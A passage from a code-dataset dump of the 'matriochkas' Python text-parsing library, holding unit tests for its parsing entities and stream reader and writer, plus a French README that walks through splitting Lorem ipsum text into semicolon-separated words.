c') is True\n\n ###################################################################################################################\n\n super_parsing_operator.operandB.name = 'entity c'\n assert super_parsing_operator.check(None, None) is False\n super_parsing_operator.operandA.operandB.checkReturn = True\n assert super_parsing_operator.check(None, None) is True\n super_parsing_operator.operandA.operandB.checkReturn = False\n\n ###################################################################################################################\n\n assert (super_parsing_operator.get_min_position() == -1) is True\n super_parsing_operator.operandB.relPosition = 3\n assert (super_parsing_operator.get_min_position() == 0) is True\n super_parsing_operator.operandB.relPosition = -1\n\n ###################################################################################################################\n\n assert (super_parsing_operator.get_max_position() == 2) is True\n super_parsing_operator.operandA.operandA.relPosition = -2\n super_parsing_operator.operandA.operandB.relPosition = -3\n assert (super_parsing_operator.get_max_position() == 0) is True\n super_parsing_operator.operandA.operandA.relPosition = 1\n super_parsing_operator.operandA.operandB.relPosition = 2\n\n\ndef test_parsing_condition():\n parsing_condition_1 = ParsingEntities.ParsingCondition('0')\n assert isinstance(parsing_condition_1, ParsingEntities.ParsingCondition) is True\n assert (parsing_condition_1.character == '0') is True\n\n parsing_condition_2 = ParsingEntities.ParsingCondition('012')\n assert isinstance(parsing_condition_2, ParsingEntities.ParsingOperator) is True\n assert (parsing_condition_2.operatorType is ParsingEntities.OperatorType.AND) is True\n assert isinstance(parsing_condition_2.operandA, ParsingEntities.ParsingOperator) is True\n assert (parsing_condition_2.operandA.operatorType is ParsingEntities.OperatorType.AND) is True\n assert (parsing_condition_2.operandA.operandA.character == '0') is True\n assert (parsing_condition_2.operandA.operandB.character == '1') is True\n assert isinstance(parsing_condition_2.operandB, ParsingEntities.ParsingCondition) is True\n assert (parsing_condition_2.operandB.character == '2') is True\n\n ###################################################################################################################\n\n assert (parsing_condition_1 == 0) is False\n assert (parsing_condition_1 == ParsingEntities.ParsingCondition('0')) is True\n assert (parsing_condition_1 == ParsingEntities.ParsingCondition('0', rel_position=1)) is False\n parsing_condition_3 = ParsingEntities.ParsingCondition('0')\n parsing_condition_3.isNot = True\n assert (parsing_condition_1 == parsing_condition_3) is False\n\n ###################################################################################################################\n\n assert (0 in parsing_condition_1) is False\n assert (ParsingEntities.ParsingCondition('0') in parsing_condition_1) is True\n assert (ParsingEntities.ParsingCondition('0', rel_position=1) in parsing_condition_1) is False\n assert (parsing_condition_3 in parsing_condition_1) is False\n\n ###################################################################################################################\n\n assert (str(parsing_condition_1) == 'ParsingCondition object') is True\n\n ###################################################################################################################\n\n assert (repr(parsing_condition_1) == 'ParsingCondition object') is True\n\n ###################################################################################################################\n\n copy_parsing_condition_1 = copy.copy(parsing_condition_1)\n assert (copy_parsing_condition_1.character == '0') is True\n assert (copy_parsing_condition_1.relPosition == 0) is True\n assert copy_parsing_condition_1.isNot is False\n\n ###################################################################################################################\n\n deep_copy_parsing_condition_1 = copy.deepcopy(parsing_condition_1)\n assert (deep_copy_parsing_condition_1.character == '0') is True\n assert (deep_copy_parsing_condition_1.relPosition == 0) is True\n assert deep_copy_parsing_condition_1.isNot is False\n\n ###################################################################################################################\n\n parsing_condition_4 = ParsingEntities.ParsingCondition('W', rel_position=2)\n assert parsing_condition_1.check('Hello0World !', ref_position=5) is True\n assert parsing_condition_1.check('Hello0World !', ref_position=6) is False\n assert parsing_condition_4.check('Hello0World !', ref_position=4) is True\n assert parsing_condition_4.check('Hello0World !', ref_position=5) is False\n\n try:\n parsing_condition_4.check('Hello0World !', ref_position=15)\n assert False\n except IndexError:\n assert True\n\n try:\n parsing_condition_4.check('Hello0World !', ref_position=11)\n assert False\n except IndexError:\n assert True\n\n ###################################################################################################################\n\n parsing_condition_5 = ParsingEntities.ParsingCondition('W', rel_position=-2)\n assert (parsing_condition_2.get_min_position() == 0) is True\n assert (parsing_condition_5.get_min_position() == -2) is True\n\n ###################################################################################################################\n\n assert (parsing_condition_2.get_max_position() == 2) is True\n assert (parsing_condition_5.get_max_position() == 0) is True\n\n\ndef test_parsing_structure():\n parsing_structure_1 = InstanceParsingStructure('structure 1')\n parsing_structure_2 = InstanceParsingStructure('structure 2')\n result_1 = parsing_structure_1 + parsing_structure_2\n assert isinstance(result_1, ParsingEntities.ParsingPipeline) is True\n assert (len(result_1.arParsingStructure) == 2) is True\n assert (result_1.arParsingStructure[0].name == 'structure 1') is True\n assert (result_1.arParsingStructure[1].name == 'structure 2') is True\n\n result_2 = parsing_structure_1 + None\n assert isinstance(result_2, ParsingEntities.ParsingPipeline) is True\n assert (len(result_2.arParsingStructure) == 1) is True\n assert (result_2.arParsingStructure[0].name == 'structure 1') is True\n\n ###################################################################################################################\n\n assert (InstanceParsingStructure('test').check(None, None) == (True, True)) is True\n\n ###################################################################################################################\n\n assert (InstanceParsingStructure('test').get_min_position() == 0) is True\n\n ###################################################################################################################\n\n assert (InstanceParsingStructure('test').get_max_position() == 0) is True\n\n\ndef test_parsing_pipeline():\n parsing_pipeline_1 = ParsingEntities.ParsingPipeline(InstanceParsingStructure('structure 1'))\n assert (len(parsing_pipeline_1.arParsingStructure) == 1) is True\n assert (parsing_pipeline_1.current_parsing_block_index == 0) is True\n assert parsing_pipeline_1.isEnded is False\n\n try:\n ParsingEntities.ParsingPipeline(None)\n assert False\n except TypeError:\n assert True\n\n ###################################################################################################################\n\n parsing_pipeline_1.add_structure(ParsingEntities.ParsingPipeline(InstanceParsingStructure('structure 2')))\n assert (parsing_pipeline_1.current_parsing_block_index == 0) is True\n assert parsing_pipeline_1.isEnded is False\n assert parsing_pipeline_1.check(None, None) == (True, True)\n assert (parsing_pipeline_1.current_parsing_block_index == 1) is True\n assert parsing_pipeline_1.isEnded is False\n assert parsing_pipeline_1.check(None, None) == (True, True)\n assert (parsing_pipeline_1.current_parsing_block_index == 1) is True\n assert parsing_pipeline_1.isEnded is True\n assert parsing_pipeline_1.check(None, None) is None\n\n ###################################################################################################################\n\n parsing_pipeline_2 = ParsingEntities.ParsingPipeline(InstanceParsingStructure('structure 1', -2))\n parsing_pipeline_2.add_structure(InstanceParsingStructure('structure 2', 3))\n parsing_pipeline_2.add_structure(InstanceParsingStructure('structure 3', 1))\n assert (parsing_pipeline_2.get_max_position() == 3) is True\n\n ###################################################################################################################\n\n assert (parsing_pipeline_2.get_min_position() == -2) is True\n\n ###################################################################################################################\n\n assert (len(parsing_pipeline_2.arParsingStructure) == 3) is True\n parsing_pipeline_2.add_structure(InstanceParsingStructure('structure 4'))\n assert (len(parsing_pipeline_2.arParsingStructure) == 4) is True\n\n ###################################################################################################################\n\n assert parsing_pipeline_1.isEnded is True\n assert (parsing_pipeline_1.current_parsing_block_index == 1) is True\n parsing_pipeline_1.reset()\n assert parsing_pipeline_1.isEnded is False\n assert (parsing_pipeline_1.current_parsing_block_index == 0) is True\n\n\ndef test_parsing_block():\n parsing_block_1 = ParsingEntities.ParsingBlock(InstanceParsingEntity('structure 1', True, -1),\n InstanceParsingEntity('structure 2', True, 1))\n assert isinstance(parsing_block_1.parser, ParsingEntities.ParsingEntity) is True\n assert (parsing_block_1.parser.name == 'structure 1') is True\n assert isinstance(parsing_block_1.borderCondition, ParsingEntities.ParsingEntity) is True\n assert (parsing_block_1.borderCondition.name == 'structure 2') is True\n\n try:\n ParsingEntities.ParsingBlock(0, None)\n assert False\n except TypeError:\n assert True\n\n try:\n ParsingEntities.ParsingBlock(InstanceParsingEntity('structure 1', True, -1), 0)\n assert False\n except TypeError:\n assert True\n\n ###################################################################################################################\n\n parsing_block_2 = ParsingEntities.ParsingBlock(InstanceParsingEntity('structure 1', True, -2), None)\n assert (parsing_block_1.check(None, None) == (True, True)) is True\n assert (parsing_block_2.check(None, None) == (True, False)) is True\n\n ###################################################################################################################\n\n assert (parsing_block_1.get_min_position() == -1) is True\n assert (parsing_block_2.get_min_position() == -2) is True\n\n ###################################################################################################################\n\n assert (parsing_block_1.get_max_position() == 1) is True\n assert (parsing_block_2.get_max_position() == -2) is True\n\n\ndef test_parsing_result():\n parsing_result_1 = ParsingEntities.ParsingResult(MockStreamClass, 'read method 1', 'write method 1',\n 'return method 1', ['arg a', 'arg b'],\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'A'), (2, 'B')])\n assert (parsing_result_1.streamClass == MockStreamClass) is True\n assert (parsing_result_1.readMethod == 'read method 1') is True\n assert (parsing_result_1.writeMethod == 'write method 1') is True\n assert (parsing_result_1.returnMethod == 'return method 1') is True\n assert (parsing_result_1.arInput == {'args': ['arg a', 'arg b'], 'kwargs': {'arg c': 'c', 'arg d': 'd'}}) is True\n assert (parsing_result_1.arIndex == [(0, 'A'), (2, 'B')])\n\n try:\n ParsingEntities.ParsingResult(None, 'read method', 'write method', 'return method', ['arg a', 'arg b'],\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'A'), (2, 'B')])\n assert False\n except TypeError:\n assert True\n\n try:\n ParsingEntities.ParsingResult(MockStreamClass, 'read method', 'write method', 'return method', None,\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'A'), (2, 'B')])\n assert False\n except TypeError:\n assert True\n\n try:\n ParsingEntities.ParsingResult(MockStreamClass, 'read method', 'write method', 'return method',\n ['arg a', 'arg b'], None, [(0, 'A'), (2, 'B')])\n assert False\n except TypeError:\n assert True\n\n try:\n ParsingEntities.ParsingResult(MockStreamClass, 'read method', 'write method', 'return method',\n ['arg a', 'arg b'], {'arg c': 'c', 'arg d': 'd'}, None)\n assert False\n except TypeError:\n assert True\n\n try:\n ParsingEntities.ParsingResult(MockStreamClass, 0, 'write method', 'return method', ['arg a', 'arg b'],\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'A'), (2, 'B')])\n assert False\n except TypeError:\n assert True\n\n try:\n ParsingEntities.ParsingResult(MockStreamClass, 'read method', 0, 'return method', ['arg a', 'arg b'],\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'A'), (2, 'B')])\n assert False\n except TypeError:\n assert True\n\n try:\n ParsingEntities.ParsingResult(MockStreamClass, 'read method', 'write method', 0, ['arg a', 'arg b'],\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'A'), (2, 'B')])\n assert False\n except TypeError:\n assert True\n\n parsing_result_2 = ParsingEntities.ParsingResult(MockStreamClass, None, 'write method 2', 'return method 2',\n ['arg a', 'arg b'], {'arg c': 'c', 'arg d': 'd'},\n [(0, 'A'), (2, 'B')])\n assert (parsing_result_2.streamClass == MockStreamClass) is True\n assert parsing_result_2.readMethod is None\n assert (parsing_result_2.writeMethod == 'write method 2') is True\n assert (parsing_result_2.returnMethod == 'return method 2') is True\n assert (parsing_result_2.arInput == {'args': ['arg a', 'arg b'], 'kwargs': {'arg c': 'c', 'arg d': 'd'}}) is True\n assert (parsing_result_2.arIndex == [(0, 'A'), (2, 'B')])\n\n parsing_result_3 = ParsingEntities.ParsingResult(MockStreamClass, 'read method 3', None, 'return method 3',\n ['arg a', 'arg b'], {'arg c': 'c', 'arg d': 'd'},\n [(0, 'A'), (2, 'B')])\n assert (parsing_result_3.streamClass == MockStreamClass) is True\n assert (parsing_result_3.readMethod == 'read method 3') is True\n assert parsing_result_3.writeMethod is None\n assert (parsing_result_3.returnMethod == 'return method 3') is True\n assert (parsing_result_3.arInput == {'args': ['arg a', 'arg b'], 'kwargs': {'arg c': 'c', 'arg d': 'd'}}) is True\n assert (parsing_result_3.arIndex == [(0, 'A'), (2, 'B')])\n\n parsing_result_4 = ParsingEntities.ParsingResult(MockStreamClass, 'read method 4', 'write method 4', None,\n ['arg a', 'arg b'], {'arg c': 'c', 'arg d': 'd'},\n [(0, 'A'), (2, 'B')])\n assert (parsing_result_4.streamClass == MockStreamClass) is True\n assert (parsing_result_4.readMethod == 'read method 4') is True\n assert (parsing_result_4.writeMethod == 'write method 4') is True\n assert parsing_result_4.returnMethod is None\n assert (parsing_result_4.arInput == {'args': ['arg a', 'arg b'], 'kwargs': {'arg c': 'c', 'arg d': 'd'}}) is True\n assert (parsing_result_4.arIndex == [(0, 'A'), (2, 'B')])\n\n ###################################################################################################################\n\n parsing_result_5a = ParsingEntities.ParsingResult(MockStreamClass, 'read method 1', 'write method 1',\n 'return method 1', ['arg a', 'arg b'],\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'A'), (2, 'B')])\n parsing_result_5b = ParsingEntities.ParsingResult(MockStreamClass, 'read method 1', 'write method 1',\n 'return method 1', ['arg a', 'arg b'],\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'C'), (4, 'D')])\n parsing_result_5 = parsing_result_5a + parsing_result_5b\n assert (parsing_result_5.streamClass == MockStreamClass) is True\n assert (parsing_result_5.readMethod == 'read method 1') is True\n assert (parsing_result_5.writeMethod == 'write method 1') is True\n assert (parsing_result_5.returnMethod == 'return method 1') is True\n assert (parsing_result_5.arInput == {'args': ['arg a', 'arg b'], 'kwargs': {'arg c': 'c', 'arg d': 'd'}}) is True\n assert (parsing_result_5.arIndex == [(0, 'A'), (2, 'B'), (4, 'D')])\n\n parsing_result_5c = ParsingEntities.ParsingResult(MockStreamClass, 'read method 1', 'write method 1',\n 'return method 1', ['arg e', 'arg f'],\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'C'), (4, 'D')])\n try:\n parsing_result_5a + parsing_result_5c\n assert False\n except ValueError:\n assert True\n\n parsing_result_5d = ParsingEntities.ParsingResult(MockStreamClass, 'read method 2', 'write method 1',\n 'return method 1', ['arg a', 'arg b'],\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'C'), (4, 'D')])\n try:\n parsing_result_5a + parsing_result_5d\n assert False\n except ValueError:\n assert True\n\n parsing_result_5e = ParsingEntities.ParsingResult(MockStreamClass, 'read method 1', 'write method 2',\n 'return method 1', ['arg a', 'arg b'],\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'C'), (4, 'D')])\n try:\n parsing_result_5a + parsing_result_5e\n assert False\n except ValueError:\n assert True\n\n parsing_result_5f = ParsingEntities.ParsingResult(MockStreamClass, 'read method 1', 'write method 1',\n 'return method 2', ['arg a', 'arg b'],\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'C'), (4, 'D')])\n try:\n parsing_result_5a + parsing_result_5f\n assert False\n except ValueError:\n assert True\n\n parsing_result_5g = ParsingEntities.ParsingResult(MockStreamClass, 'read method 1', 'write method 1',\n 'return method 1', ['arg a', 'arg b'],\n {'arg d': 'd', 'arg e': 'e'}, [(0, 'C'), (4, 'D')])\n try:\n parsing_result_5a + parsing_result_5g\n assert False\n except ValueError:\n assert True\n\n try:\n parsing_result_5a + None\n assert False\n except TypeError:\n assert True\n\n\n ###################################################################################################################\n\n parsing_result_6 = ParsingEntities.ParsingResult(MockStreamClass, 'read method 1', 'write method 1',\n 'return method 1', ['arg a', 'arg b'],\n {'arg c': 'c', 'arg d': 'd'},\n [(0, 'A'), (2, 'B', 'Left')])\n assert (0 in parsing_result_6) is True\n assert ((0, 'A') in parsing_result_6) is True\n assert ((2, 'B', 'Left') in parsing_result_6) is True\n assert ((2, None, 'Left') in parsing_result_6) is True\n assert (5 in parsing_result_6) is False\n assert ((0, 'B') in parsing_result_6) is False\n assert ((1, 'B', 'Right') in parsing_result_6) is False\n assert ((0, None, 'Left') in parsing_result_6) is False\n assert ('0' in parsing_result_6) is False\n\n ###################################################################################################################\n\n assert repr(parsing_result_1) is not None\n\n ###################################################################################################################\n\n assert str(parsing_result_1) is not None\n\n ###################################################################################################################\n\n copy_parsing_result_1 = copy.copy(parsing_result_1)\n assert (copy_parsing_result_1.streamClass == MockStreamClass) is True\n assert (copy_parsing_result_1.readMethod == 'read method 1') is True\n assert (copy_parsing_result_1.writeMethod == 'write method 1') is True\n assert (copy_parsing_result_1.returnMethod == 'return method 1') is True\n assert (copy_parsing_result_1.arInput ==\n {'args': ['arg a', 'arg b'], 'kwargs': {'arg c': 'c', 'arg d': 'd'}}) is True\n assert (copy_parsing_result_1.arIndex == [(0, 'A'), (2, 'B')])\n copy_parsing_result_1.arInput = {'args': ['arg c', 'arg d'], 'kwargs': {'arg e': 'e', 'arg f': 'f'}}\n assert (copy_parsing_result_1.streamClass == MockStreamClass) is True\n assert (copy_parsing_result_1.readMethod == 'read method 1') is True\n assert (copy_parsing_result_1.writeMethod == 'write method 1') is True\n assert (copy_parsing_result_1.returnMethod == 'return method 1') is True\n assert (copy_parsing_result_1.arInput ==\n {'args': ['arg c', 'arg d'], 'kwargs': {'arg e': 'e', 'arg f': 'f'}}) is True\n assert (copy_parsing_result_1.arIndex == [(0, 'A'), (2, 'B')])\n assert (parsing_result_1.streamClass == MockStreamClass) is True\n assert (parsing_result_1.readMethod == 'read method 1') is True\n assert (parsing_result_1.writeMethod == 'write method 1') is True\n assert (parsing_result_1.returnMethod == 'return method 1') is True\n assert (parsing_result_1.arInput ==\n {'args': ['arg a', 'arg b'], 'kwargs': {'arg c': 'c', 'arg d': 'd'}}) is True\n assert (parsing_result_1.arIndex == [(0, 'A'), (2, 'B')])\n\n ###################################################################################################################\n\n parsing_result_7 = ParsingEntities.ParsingResult(MockStreamClass, 'read method 1', 'write method 1',\n 'return method 1', ['arg a', 'arg b'],\n {'arg c': 'c', 'arg d': 'd'}, [(0, 'A'), (2, 'B')])\n assert ParsingEntities.ParsingResult.are_from_the_same_parsing(parsing_result_1, parsing_result_7) is True\n assert ParsingEntities.ParsingResult.are_from_the_same_parsing(parsing_result_1, copy_parsing_result_1) is False\n\n try:\n ParsingEntities.ParsingResult.are_from_the_same_parsing(None, None)\n assert False\n except TypeError:\n assert True\n\n ###################################################################################################################\n\n assert parsing_result_7.check_indexes() is True\n\n parsing_result_7.arIndex = [(5, 'A'), (2, 'B')]\n try:\n parsing_result_7.check_indexes()\n assert False\n except ValueError:\n assert True\n\n parsing_result_7.arIndex = [(0, 'A'), (2, 10)]\n try:\n parsing_result_7.check_indexes()\n assert False\n except TypeError:\n assert True\n" }, { "alpha_fraction": 0.6145161390304565, "alphanum_fraction": 0.649193525314331, "avg_line_length": 61.91752624511719, "blob_id": "deb7cde62f2f802ca69ae99cff2cf943a46685d2", "content_id": "466cca1e61fcb0f4a0e4fcd1bb584fc937a85847", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6303, "license_type": "permissive", "max_line_length": 905, "num_lines": 97, "path": "/README.md", "repo_name": "gagabzh/matriochkas", "src_encoding": "UTF-8", "text": "Matriochkas\r\n===========\r\n\r\nQu'est ce que c'est ?\r\n--------------------\r\n\r\nMatriochkas est une petite bibliothèque de parsage de texte simple et rapide à prendre en main.\r\n\r\nElle permet actuellement de récupérer les positions des caractères correspondant à un schéma de parsage défini par l'utilisateur puis d'y effectuer une modification selon un schéma de modification défini lui aussi par l'utilisateur.\r\n\r\nComment ça marche ?\r\n-------------------\r\n\r\nLe parsage ou la modification d'un texte s'effectue caractère par caractère à partir du début du texte. On peut représenter le caractère actuellement analysé par un curseur. \r\n\r\nMatriochkas permet de conçevoir des schémas de parsage ou de modification sur une chaine de caractères. C'est donc plusieurs caractères qui sont lus ou écrits à chaque incrémentation de la position du curseur. Ceux-ci sont représentés par leurs positions relatives au curseur. Ainsi par exemple, si l'on souhaite analyser la valeur du caractère précédant le curseur, on le représentera par la valeur *-1*. Les valeurs choisies par l'utilisateur définissent donc la longueur de la chaine de caractères (que l'on appellera *fenêtre du curseur*) dans laquelle certains caractères sont à analyser. \r\n\r\nExemple\r\n-------\r\n\r\nL'objectif est de détecter les mots du texte et de les séparer par un point-virgule :\r\n\r\n # Texte à parser\r\n text = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et\r\n dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip\r\n ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu\r\n fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt\r\n mollit anim id est laborum'\r\n \r\nCréation du schéma de parsage:\r\n \r\n # Importation de la librairie\r\n from matriochkas import *\r\n \r\n # Création de la condition de récupération d'un caractère ('|' correspond à l'opérateur 'OR')\r\n # D'autres opérateurs sont disponibles ('&' -> 'AND' / '^' -> 'XOR' / '~' -> 'NOT')\r\n parsing_pattern = ParsingCondition(' ') | ParsingCondition(', ') | ParsingCondition('. ')\r\n \r\n # Création d'un bloc de parsage qui définit la limite de parsage avec cette condition\r\n # Dans ce cas on souhaite parser le texte entier avec cette condition d'où None\r\n parsing_block = parsing_pattern >> None\r\n \r\n # Création du pipeline de parsage qui définit l'ordre d'utilisation des blocs\r\n # Dans ce cas il n'y a qu'un seul bloc d'où None\r\n parsing_pipeline = parsing_block + None\r\n \r\nParsage du texte:\r\n\r\n # Création du reader pour analyser le texte\r\n reader = StreamReader(text)\r\n\r\n # Parsage du texte avec le pipeline de parsage précédemment créé\r\n parsing_result = reader.read(parsing_pipeline)\r\n \r\nOn obtient en resultat (la variable *parsing_result*) un objet qui contient entre autres une liste de tuples contenant la position du curseur au moment du parsage et la valeur du caratère.\r\n\r\n Parsing result :\r\n Stream class : StringIO\r\n Inputs : {'args': ('Lorem ... laborum',), 'kwargs': {}}\r\n Index result : [(5, ' '), (11, ' '), (17, ' '), (21, ' '), (26, ','), (27, ' '), (39, ' '), (50, ' '), (55, ','), (56, ' '), (60, ' '), (63, ' '), (71, ' '), (78, ' '), (89, ' '), (92, ' '), (99, ' '), (102, ' '), (109, ' '), (115, ' '), (122, '.'), (123, ' '), (126, ' '), (131, ' '), (134, ' '), (140, ' '), (147, ','), (148, ' '), (153, ' '), (161, ' '), (174, ' '), (182, ' '), (190, ' '), (195, ' '), (198, ' '), (206, ' '), (209, ' '), (212, ' '), (220, ' '), (230, '.'), (231, ' '), (236, ' '), (241, ' '), (247, ' '), (253, ' '), (256, ' '), (270, ' '), (273, ' '), (283, ' '), (289, ' '), (294, ' '), (301, ' '), (308, ' '), (311, ' '), (318, ' '), (324, ' '), (333, '.'), (334, ' '), (344, ' '), (349, ' '), (358, ' '), (368, ' '), (372, ' '), (381, ','), (382, ' '), (387, ' '), (390, ' '), (396, ' '), (400, ' '), (408, ' '), (417, ' '), (424, ' '), (429, ' '), (432, ' '), (436, ' ')]\r\n \r\nCréation du résulat de parsage modifié:\r\n\r\n #Création du schéma de modification\r\n modification_pattern = ModificationRemove() + ModificationAdd(';')\r\n\r\n #Application de la modification au résultat de parcage précédent\r\n final_parsing_result = modification_pattern.generate_parsing_result(parsing_result)\r\n\r\nOn obtient un nouveau résultat de parsage (la variable *final_parsing_result*) qui contient entre autres les positions et les nouvelles valeurs des caractères à modifier:\r\n\r\n Parsing result :\r\n Stream class : StringIO\r\n Inputs : {'args': ('Lorem ... laborum',), 'kwargs': {}}\r\n Index result : [(5, ''), (5, ';', <ModificationSide.RIGHT: 1>), ..., (436, ';', <ModificationSide.RIGHT: 1>)]\r\n \r\nCréation du texte modifié:\r\n\r\n #Création du writer pour créer un texte modifié\r\n writer = StreamWriter()\r\n \r\n #Création du texte modifié\r\n new_text = writer.write(final_parsing_result)\r\n \r\nOn obtient ce texte:\r\n\r\n Lorem;ipsum;dolor;sit;amet;;consectetur;adipiscing;elit;;sed;do;eiusmod;tempor;incididunt;ut;labore;et;dolore;magna;aliqua;;\r\n Ut;enim;ad;minim;veniam;;quis;nostrud;exercitation;ullamco;laboris;nisi;ut;aliquip;ex;ea;commodo;consequat;;Duis;aute;irure;\r\n dolor;in;reprehenderit;in;voluptate;velit;esse;cillum;dolore;eu;fugiat;nulla;pariatur;;Excepteur;sint;occaecat;cupidatat;non;\r\n proident;;sunt;in;culpa;qui;officia;deserunt;mollit;anim;id;est;laborum\r\n \r\nLimitation\r\n----------\r\n\r\nDans le résultat de l'exemple précédent, on peut remarquer des champs vides qui correspondent aux détections de conditions à plusieurs caractères (*' .'* ou *' ,'*). La cause de cette particularité vient de la méthode de création du résultat de parsage final qui applique la même opération à tous les caractères du résultat de parsage intermédiaire. Or dans l'idéal la modification devrait être différente pour une condition avec le caractère *' '* et pour une condition avec la chaine de caractères *' ,'* ou *' .'*.\r\n\r\nCette amélioration ne devrait pas tarder à arriver dans une prochaine release ;)\r\n" }, { "alpha_fraction": 0.5595175623893738, "alphanum_fraction": 0.58088618516922, "avg_line_length": 52.71831130981445, "blob_id": "b251fb6c8657caf08165866ee19fd228912b899d", "content_id": "7f5528ef53ba5072a51f01d212ffa079ab6dcfb2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7628, "license_type": "permissive", "max_line_length": 120, "num_lines": 142, "path": "/matriochkas/tests/IO.py", "repo_name": "gagabzh/matriochkas", "src_encoding": "UTF-8", "text": "# coding: utf8\n\nfrom matriochkas.core import IO\nfrom matriochkas.core import ParsingEntities\nfrom matriochkas.core import ModificationEntities\nfrom io import StringIO\n\n\n########################################################################################################################\n\n\nclass InstanceStreamEntity(IO.StreamEntity):\n def __init__(self, name, args, kwargs, stream_class=None, read_method=None, write_method=None, return_method=None):\n super(InstanceStreamEntity, self).__init__(args, kwargs, stream_class, read_method, write_method, return_method)\n self.name = name\n\n########################################################################################################################\n\n\ndef test_stream_entity():\n stream_entity = InstanceStreamEntity('entity 1', [], {})\n assert isinstance(stream_entity, IO.StreamEntity) is True\n assert (stream_entity.name == 'entity 1') is True\n assert stream_entity.streamClass is None\n assert stream_entity.readMethod is None\n assert stream_entity.writeMethod is None\n assert stream_entity.returnMethod is None\n assert (stream_entity.args == []) is True\n assert (stream_entity.kwargs == {}) is True\n\n try:\n InstanceStreamEntity('entity', None, {})\n assert False\n except TypeError:\n assert True\n\n try:\n InstanceStreamEntity('entity', [], None)\n assert False\n except TypeError:\n assert True\n\n ###################################################################################################################\n\n stream_object = StringIO('abcdefghijklmnopqrstuvwxyz')\n method_1 = IO.StreamEntity.generate_method(stream_object, 'read_method')\n assert (str(type(method_1)) == \"<class 'builtin_function_or_method'>\") is True\n result = method_1(1)\n assert (result == 'a') is True\n result = method_1(3)\n assert (result == 'bcd') is True\n\n method_2 = IO.StreamEntity.generate_method('Unknown object', 'read_method')\n assert method_2 is None\n\n method_3 = IO.StreamEntity.generate_method(stream_object, 'write_method')\n assert (str(type(method_3)) == \"<class 'builtin_function_or_method'>\") is True\n method_3(\"1\")\n assert (stream_object.getvalue() == 'abcd1fghijklmnopqrstuvwxyz') is True\n method_3(\"234\")\n assert (stream_object.getvalue() == 'abcd1234ijklmnopqrstuvwxyz') is True\n\n method_4 = IO.StreamEntity.generate_method('Unknown object', 'write_method')\n assert method_4 is None\n\n method_5 = IO.StreamEntity.generate_method(stream_object, 'return_method')\n assert (str(type(method_5)) == \"<class 'builtin_function_or_method'>\") is True\n result = method_5()\n assert (result == 'abcd1234ijklmnopqrstuvwxyz') is True\n\n method_6 = IO.StreamEntity.generate_method('Unknown object', 'return_method')\n assert method_6 is None\n\n stream_object.close()\n\n\ndef test_stream_reader():\n text = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et ' \\\n 'dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ' \\\n 'ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu ' \\\n 'fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt ' \\\n 'mollit anim id est laborum. '\n pipeline = ((ParsingEntities.ParsingCondition(', ') | ParsingEntities.ParsingCondition('. ')) >> None) + None\n stream_entity = IO.StreamReader(text)\n result = stream_entity.read(pipeline)\n assert isinstance(result, ParsingEntities.ParsingResult) is True\n assert (result.streamClass == StringIO) is True\n assert isinstance(result.arInput['args'], tuple) is True\n assert (len(result.arInput['args']) == 1) is True\n assert (result.arInput['args'][0] == text) is True\n assert (result.arInput['kwargs'] == {}) is True\n assert (result.arIndex == [(26, ','), (55, ','), (122, '.'), (147, ','), (230, '.'), (333, '.'), (381, ','),\n (444, '.')]) is True\n\n stream_entity_2 = IO.StreamReader(text, read_method='read')\n result_2 = stream_entity_2.read(pipeline)\n assert isinstance(result_2, ParsingEntities.ParsingResult) is True\n assert (result_2.streamClass == StringIO) is True\n assert isinstance(result_2.arInput['args'], tuple) is True\n assert (len(result_2.arInput['args']) == 1) is True\n assert (result_2.arInput['args'][0] == text) is True\n assert (result_2.arInput['kwargs'] == {}) is True\n assert (result_2.arIndex == [(26, ','), (55, ','), (122, '.'), (147, ','), (230, '.'), (333, '.'), (381, ','),\n (444, '.')]) is True\n\n stream_entity_3 = IO.StreamReader('')\n try:\n stream_entity_3.read(pipeline)\n assert False\n except ValueError:\n assert True\n\n\ndef test_stream_writer():\n text = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et ' \\\n 'dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ' \\\n 'ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu ' \\\n 'fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia ' \\\n 'deserunt mollit anim id est laborum. '\n text_result = 'Lorem ipsum dolor sit amet-consectetur adipiscing elit-sed do eiusmod tempor incididunt ut labore' \\\n ' et dolore magna aliqua-Ut enim ad minim veniam-quis nostrud exercitation ullamco laboris nisi ' \\\n 'ut aliquip ex ea commodo consequat-Duis aute irure dolor in reprehenderit in voluptate velit esse' \\\n ' cillum dolore eu fugiat nulla pariatur-Excepteur sint occaecat cupidatat non proident-sunt in' \\\n ' culpa qui officia deserunt mollit anim id est laborum-'\n parsing_result = ParsingEntities.ParsingResult(StringIO, 'read', 'write', 'return', [text], {},\n [(26, ''), (26, '-', ModificationEntities.ModificationSide.RIGHT),\n (27, ''), (55, ''),\n (55, '-', 